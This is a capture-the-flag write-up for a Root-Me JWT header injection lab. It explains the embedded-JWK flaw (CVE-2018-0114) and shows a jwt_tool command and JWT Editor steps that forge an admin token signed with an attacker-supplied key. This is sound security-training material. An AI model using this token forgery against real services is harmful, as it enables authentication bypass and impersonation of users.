

JWT - Header Injection

LAB: <https://www.root-me.org/en/Challenges/Web-Server/JWT-Header-Injection>

REFERENCE:



- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/JSON Web Token#jwt-signature---key-injection-attack-cve-2018-0114](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/JSON%20Web%20Token#jwt-signature---key-injection-attack-cve-2018-0114)
- <https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jwk-header-injection>

Description:

This lab uses a JWT-based mechanism for handling sessions. The server supports the `jwk` parameter in the JWT header. This is sometimes used to embed the correct verification key directly in the token. However, it fails to check whether the provided key came from a trusted source.

EXPLOIT

- Access the lab, we can see that login need key to verify



Sample key

- Decode sample key

Encoded

PASTE A TOKEN HERE

```
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiVHJpbml0eSIsIm1lc3NhZ2UiOiJXYWt1IHVwIE51bywgZm9sbG93IHRob3R5bG93aGl0ZSB5YWJiaXQuIiwiaWF0IjoxNjc2NjM3ODMyfQ.eYekblLchhHS8F9kMjW6F9oiBIC0w1HmPHR1jiw-rD4JoQ8gpgih5RlonFBKVoippF12zRJIgAs8yGUkBMVHSQ
```

Decoded

EDIT THE PAYLOAD AND SECRET

HEADER: ALGORITHM & TOKEN TYPE

```
{
  "alg": "RS256",
  "typ": "JWT"
}
```

PAYLOAD: DATA

```
{
  "user": "Trinity",
  "message": "Wake up Neo, follow the white rabbit.",
  "iat": 1676637832
}
```

VERIFY SIGNATURE

```
RSASHA256(
  base64UrlEncode(header) + "." +
  base64UrlEncode(payload),
  Public Key in SPKI, PKCS #1,
  X.509 Certificate, or JWK string format.
),
Private Key in PKCS #8, PKCS #
1, or JWK string format. The key
never leaves your browser.
)
```

it use Asymmetric algorithms

- Based on the cheatsheet of **JWT Signature - Key Injection Attack (CVE-2018-0114)**, we try to inject JWK with public key

JWT Signature - Key Injection Attack (CVE-2018-0114)

A vulnerability in the Cisco node-jose open source library before 0.11.0 could allow an unauthenticated, remote attacker to re-sign tokens using a key that is embedded within the token. The vulnerability is due to node-jose following the JSON Web Signature (JWS) standard for JSON Web Tokens (JWTs). This standard specifies that a JSON Web Key (JWK) representing a public key can be embedded within the header of a JWS. This public key is then trusted for verification. An attacker could exploit this by forging valid JWS objects by removing the original signature, adding a new public key to the header, and then signing the object using the (attacker-owned) private key associated with the public key embedded in that JWS header.

Exploit:

- Using [ticarpi/jwt_tool](#)

```
python3 jwt_tool.py [JWT_HERE] -X i
```

- Using [portswigger/JWT Editor](#)

- Add a New RSA key
- In the JWT's Repeater tab, edit data
- Attack > Embedded JWK

Deconstructed:

```
{
  "alg": "RS256",
  "typ": "JWT",
  "jwk": {
    "kty": "RSA",
    "kid": "jwt_tool",
    "use": "sig",
    "e": "AQAB",
    "n": "uKBGiwYqpqPzbK6_fyEp71H3oWqYXnGJk9TG3y9K_uVh1Gk3HmMSkm78PWS1ZzVh7Zj0SFJuNFtGcuyQ9VoZ3m3AGJ6pJ5PiUDdHLbtyZ9xgJHPdI_gkG"
  }
}
{"login":"admin"}
[Signed with new Private key; Public key injected]
```

- Inject JWK in header: `python .\jwt_tool.py <<token>> -X i -T`

[illegible]

- Get the flag

